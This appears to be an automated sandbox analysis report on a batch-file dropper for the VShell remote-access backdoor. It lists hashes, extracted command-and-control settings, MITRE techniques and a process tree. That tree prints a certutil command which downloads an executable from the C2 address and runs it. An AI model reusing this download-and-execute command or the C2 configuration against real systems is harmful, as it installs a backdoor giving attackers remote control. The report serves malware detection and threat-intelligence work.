vshell | aaa2d64a8585edfd48e83fcd86862b4dda94f45bd71fb2682ac295d9b797561f

Analysis

max time kernel
148s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
30/09/2026, 12:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
windows.bat
Size 497B
Sample260930-prphvsyapc
SHA256 aaa2d64a8585edfd48e83fcd86862b4dda94f45bd71fb2682ac295d9b797561f
MD5 a60713282d3927f7a368bb5c31232104
SHA1 673b160eff94efd09a05d8c0e4937b13703780e7
SHA512 c375f0750c420ac28b22d813af547ac0db62c700fd319cd4b8fe30f19f0abdf8ebfd14121a54f78b3e1b7385f5d6a1506bcf06a6c8d9dad565f6866347ee176f
TLSH
T195F0054F243B1D7027C2C50360523480B187C1D14571B10CEE4014D91F8916436EBB82
MD5 SHA1 SHA512 TLSH

Score

10^/10

backdoor discovery execution vshell rat

Malware Config

Extracted

Family

vshell

ws://42.194.137.92

Attributes

port
8084
salt
guanxuan
type
ws
vkey
guanxuan

Signatures

Family: VShell
VShell is a cross-platform Go-based RAT and C2 framework targeting Windows and Linux.
backdoor rat vshell

Detects VSHELL Backdoor 1 IoCs

resource	yara_rule
behavioral1/memory/3856-8-0x0000000067D40000-0x0000000068534000-memory.dmp	family_vshell

Downloads MZ/PE file 2 IoCs

flow	pid	Process
4	2420	certutil.exe
6	2420	certutil.exe

Executes dropped EXE 1 IoCs

pid	Process
3856	79d1174dws.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
884	cmd.exe
2464	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	79d1174dws.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	79d1174dws.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3856	79d1174dws.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4692	WMIC.exe
Token: SeSecurityPrivilege	4692	WMIC.exe
Token: SeTakeOwnershipPrivilege	4692	WMIC.exe
Token: SeLoadDriverPrivilege	4692	WMIC.exe
Token: SeSystemProfilePrivilege	4692	WMIC.exe
Token: SeSystemtimePrivilege	4692	WMIC.exe
Token: SeProfSingleProcessPrivilege	4692	WMIC.exe
Token: SeIncBasePriorityPrivilege	4692	WMIC.exe
Token: SeCreatePagefilePrivilege	4692	WMIC.exe
Token: SeBackupPrivilege	4692	WMIC.exe
Token: SeRestorePrivilege	4692	WMIC.exe
Token: SeShutdownPrivilege	4692	WMIC.exe
Token: SeDebugPrivilege	4692	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4692	WMIC.exe
Token: SeRemoteShutdownPrivilege	4692	WMIC.exe
Token: SeUndockPrivilege	4692	WMIC.exe
Token: SeManageVolumePrivilege	4692	WMIC.exe
Token: 33	4692	WMIC.exe
Token: 34	4692	WMIC.exe
Token: 35	4692	WMIC.exe
Token: 36	4692	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4692	WMIC.exe
Token: SeSecurityPrivilege	4692	WMIC.exe
Token: SeTakeOwnershipPrivilege	4692	WMIC.exe
Token: SeLoadDriverPrivilege	4692	WMIC.exe
Token: SeSystemProfilePrivilege	4692	WMIC.exe
Token: SeSystemtimePrivilege	4692	WMIC.exe
Token: SeProfSingleProcessPrivilege	4692	WMIC.exe
Token: SeIncBasePriorityPrivilege	4692	WMIC.exe
Token: SeCreatePagefilePrivilege	4692	WMIC.exe
Token: SeBackupPrivilege	4692	WMIC.exe
Token: SeRestorePrivilege	4692	WMIC.exe
Token: SeShutdownPrivilege	4692	WMIC.exe
Token: SeDebugPrivilege	4692	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4692	WMIC.exe
Token: SeRemoteShutdownPrivilege	4692	WMIC.exe
Token: SeUndockPrivilege	4692	WMIC.exe
Token: SeManageVolumePrivilege	4692	WMIC.exe
Token: 33	4692	WMIC.exe
Token: 34	4692	WMIC.exe
Token: 35	4692	WMIC.exe
Token: 36	4692	WMIC.exe
Token: SeDebugPrivilege	3856	79d1174dws.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 884 wrote to memory of 2464	884	cmd.exe	88
PID 2464 wrote to memory of 4692	2464	cmd.exe	89
PID 2464 wrote to memory of 2636	2464	cmd.exe	90
PID 884 wrote to memory of 2420	884	cmd.exe	92
PID 884 wrote to memory of 3856	884	cmd.exe	95

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windows.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:884
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 64
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2464
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic os get osarchitecture
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious use of AdjustPrivilegeToken
    PID:4692
- - C:\Windows\system32\findstr.exe
    findstr 64
    3⤵
    PID:2636
- C:\Windows\system32\certutil.exe
  certutil.exe -urlcache -split -f "http://42.194.137.92:8084/?h=42.194.137.92&p=8084&t=ws&a=w64&stage=true" "C:\Users\Public\79d1174dws.exe"
  2⤵
  - Downloads MZ/PE file
  PID:2420
- C:\Users\Public\79d1174dws.exe
  "C:\Users\Public\79d1174dws.exe"
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3856

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

79d1174dws.exe

Path C:\Users\Public\79d1174dws.exe
Size 4KB
SHA256 ec562921b1c82a1a1ef9895d6b631f9c89bfe6238bbf38faaa62bf4aef52e6cb
MD5 920940f9626028a220f196161e11d956
SHA1 19c463004033f9baf2fccca4f8d3598a85d9eba5
SHA512 431d41f54efc249f3a9fd0e55ca6250bc16c8b0a7006111e5aa79736910e24da1b014b993d17393663a6cb340dba8f414d4dc1abf6c302c7f3caaf5360c40dc5
SSDEEP 48:6IIF9BlQaexrmgZS7An0cF5uduvxRxUjbON9XM/ge93ahr0/:y9BOaMrP70cF50uDxUOvXeg
TLSH
T19B91D74270B989E7E85C41BF4D0FB8A0B91D740A41C483A70378A5993E3A57BF57CB0E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3856-7-0x000001D337780000-0x000001D33941D000-memory.dmp

Download

memory/3856-8-0x0000000067D40000-0x0000000068534000-memory.dmp

Download

memory/3856-18-0x000001D337780000-0x000001D33941D000-memory.dmp

Download